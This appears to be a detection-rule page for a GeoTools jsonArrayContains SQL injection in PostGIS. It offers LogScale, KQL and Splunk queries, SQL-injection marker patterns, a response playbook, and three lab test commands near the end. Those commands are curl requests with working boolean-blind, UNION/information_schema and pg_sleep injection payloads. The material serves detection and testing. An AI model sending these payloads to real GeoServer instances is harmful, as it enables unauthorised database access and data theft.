Detect GeoTools Unauthenticated SQL Injection in jsonArrayContains Against PostGIS (CVE-2026-76904) in CrowdStrike LogScale
Detects exploitation of CVE-2026-76904, an unauthenticated SQL injection in the GeoTools gt-jdbc-postgis module's jsonArrayContains filter function. Affected versions embed unsanitized attribute/value arguments directly into PostgreSQL SQL when a WFS/OGC filter uses jsonArrayContains against a PostGIS layer, allowing an unauthenticated attacker to inject arbitrary SQL (stacked/UNION/boolean-blind) via crafted OGC Filter, CQL, or WFS GetFeature requests. This detection identifies SQLi payloads in OGC/WFS request parameters, anomalous PostgreSQL query patterns originating from the GeoServer/GeoTools application user, and error-based injection signatures.
MITRE ATT&CK
LogScale Detection Query
#event_simpleName=/HttpRequest|WebRequest/i
| lower(HttpUrl) as url
| url=/jsonarraycontains/
| url=/(' or |union|pg_sleep|information_schema|pg_read_file|--|::text)/
| groupBy([RemoteAddressIP4, HttpUserAgent], function=count(as=hits))
| hits > 0
| sort(hits, order=desc) CrowdStrike CQL/LogScale detection for jsonArrayContains SQLi markers in HTTP request telemetry.
Data Sources
Required Tables
False Positives & Tuning
- Authorized scanners
- Legitimate CQL filters
- Encoded GIS JSON payloads
Other platforms for CVE-2026-76904
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Boolean-blind SQLi via jsonArrayContains WFS filter
Expected signal: Web-server access log entry to /geoserver/wfs containing jsonArrayContains and an injected OR clause with single quotes.
- Test 2UNION-based enumeration via jsonArrayContains
Expected signal: Access log and PostgreSQL statement log showing a UNION SELECT referencing information_schema from the GeoServer DB role.
- Test 3Time-based blind SQLi via pg_sleep
Expected signal: Web log entry with pg_sleep in the decoded filter and a response time near or above 5 seconds; PostgreSQL log showing pg_sleep execution.
References (8)
- https://github.com/geotools/geotools/security/advisories/GHSA-mqjf-5f49-2fjh
- https://github.com/geotools/geotools/pull/5829
- https://github.com/geotools/geotools/commit/d821c4d321dd91c22e31fcd5b1ce676645da5176
- https://github.com/geotools/geotools/releases/tag/33.6
- https://github.com/geotools/geotools/releases/tag/34.5
- https://github.com/geotools/geotools/releases/tag/35.1
- https://osgeo-org.atlassian.net/browse/GEOT-7589
- https://github.com/advisories/GHSA-mqjf-5f49-2fjh
Response Playbook
Triage
- Confirm the target application embeds a vulnerable GeoTools version: check gt-jdbc-postgis JAR version (affected: =35.0, 34.0–34.4, 30.5–33.5) via the GeoServer About page, deployed WAR, or Maven dependency tree; fixed in 33.6, 34.5, 35.1.
- URL-decode the flagged request and isolate the jsonArrayContains filter arguments; determine whether the injected content is boolean-blind, UNION-based, error-based, or stacked (';') SQL.
- Correlate the source IP and user-agent against authentication logs — because this is unauthenticated, confirm whether the request carried any session/credential or was anonymous.
- Query the PostGIS/PostgreSQL logs for statements originating from the GeoServer DB user around the same timestamp to see whether the injected SQL actually executed (look for information_schema access, pg_sleep, COPY, or pg_read_file).
Containment
- Deploy a WAF/reverse-proxy rule to block requests to WFS/OGC endpoints whose filter payload contains 'jsonArrayContains' combined with SQL metacharacters until patched.
- Upgrade GeoTools/GeoServer to a fixed release (33.6, 34.5, or 35.1) or apply commit d821c4d321dd91c22e31fcd5b1ce676645da5176; restart the application.
- Restrict the PostGIS connection role used by GeoServer to least privilege (read-only, no superuser, no pg_read_file/COPY) and rotate its credentials if injection is confirmed.
Evidence Collection
- Capture full raw web-server and GeoServer request logs (URI, body, headers, source IP) for the affected time window and preserve them offline.
- Export PostgreSQL statement logs (log_statement=all if available) and pg_stat_activity snapshots showing queries from the GeoServer DB user.
- Snapshot the GeoServer host and PostGIS database for forensic analysis before remediation to preserve any dropped/exfiltrated data evidence.
Escalation Criteria
- !Escalate to IR if PostgreSQL logs confirm the injected SQL executed (e.g. information_schema enumeration, UNION returning extra columns, pg_sleep timing, or file reads).
- !Escalate to data-breach handling if injection accessed tables outside the GIS schema or if credentials/PII were returned in responses.
- !Escalate to emergency change management to force out-of-band patching if the affected GeoServer is internet-facing and exploitation attempts are ongoing.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Web-server/GeoServer access logs containing jsonArrayContains filter payloads with SQL metacharacters - >
PostgreSQL server logs (log_statement) and pg_stat_activity entries showing anomalous queries from the GeoServer DB role - >
GeoServer request logs and any error responses leaking SQL exceptions (error-based injection indicators)
Tuning Guidance
Baseline legitimate jsonArrayContains usage from your known GIS clients and integration IPs, then allowlist those source IPs/user-agents. Tighten the SQLi marker set to the primitives most indicative of exploitation (pg_sleep, information_schema, pg_read_file, UNION with column enumeration) if generic markers like '--' or single-quote produce noise from valid CQL filters. Prioritize alerts where the DB layer shows a corresponding anomalous query, and lower severity for internal-only, patched instances.
Hunting Queries
Retro-hunt 30 days of web logs for jsonArrayContains filter usage combined with SQLi enumeration primitives to find prior exploitation attempts.
W3CIISLog | where TimeGenerated > ago(30d) | extend u = url_decode(tolower(csUriQuery)) | where u has "jsonarraycontains" | where u has_any ("union","information_schema","pg_sleep","pg_read_file","::text","'") | summarize count() by cIP, bin(TimeGenerated, 1h) index=web (jsonarraycontains) | eval d=urldecode(lower(uri_query)) | where match(d,"(?i)(union|information_schema|pg_sleep|pg_read_file|::text)") | stats count by src_ip, uri_path Atomic Red Team Tests
Sends an unauthenticated WFS GetFeature request whose jsonArrayContains argument injects an always-true boolean to test the vulnerable code path in a lab GeoServer.
Command
curl -s 'http://geoserver.lab:8080/geoserver/wfs?service=WFS&version=2.0.0&request=GetFeature&typeNames=lab:parcels&cql_filter=jsonArrayContains(props,%27a%27,%27x%27%27%20OR%20%27%27%3D%27%27%27)' Cleanup
echo 'No cleanup required; read-only boolean test issues no persistent change' Expected Telemetry
Web-server access log entry to /geoserver/wfs containing jsonArrayContains and an injected OR clause with single quotes.
Expected Detection
KQL/SPL rule fires on the decoded query string matching jsonArrayContains plus the "' or " marker.
Attempts a UNION SELECT against information_schema through the jsonArrayContains argument to enumerate database tables in a lab environment.
Command
curl -s 'http://geoserver.lab:8080/geoserver/wfs?service=WFS&version=2.0.0&request=GetFeature&typeNames=lab:parcels&cql_filter=jsonArrayContains(props,%27a%27,%27x%27%27)%20UNION%20SELECT%20table_name%20FROM%20information_schema.tables--%20%27)' Cleanup
echo 'Read-only enumeration attempt; no cleanup needed' Expected Telemetry
Access log and PostgreSQL statement log showing a UNION SELECT referencing information_schema from the GeoServer DB role.
Expected Detection
Detection matches jsonArrayContains combined with union and information_schema markers.
Injects pg_sleep to confirm blind SQL injection by measuring response delay against a lab PostGIS-backed layer.
Command
curl -s -w '%{time_total}\n' 'http://geoserver.lab:8080/geoserver/wfs?service=WFS&version=2.0.0&request=GetFeature&typeNames=lab:parcels&cql_filter=jsonArrayContains(props,%27a%27,%27x%27%27%3B%20SELECT%20pg_sleep(5)--%20%27)' Cleanup
echo 'No persistent change; pg_sleep only delays the response' Expected Telemetry
Web log entry with pg_sleep in the decoded filter and a response time near or above 5 seconds; PostgreSQL log showing pg_sleep execution.
Expected Detection
Detection fires on jsonArrayContains combined with the pg_sleep marker.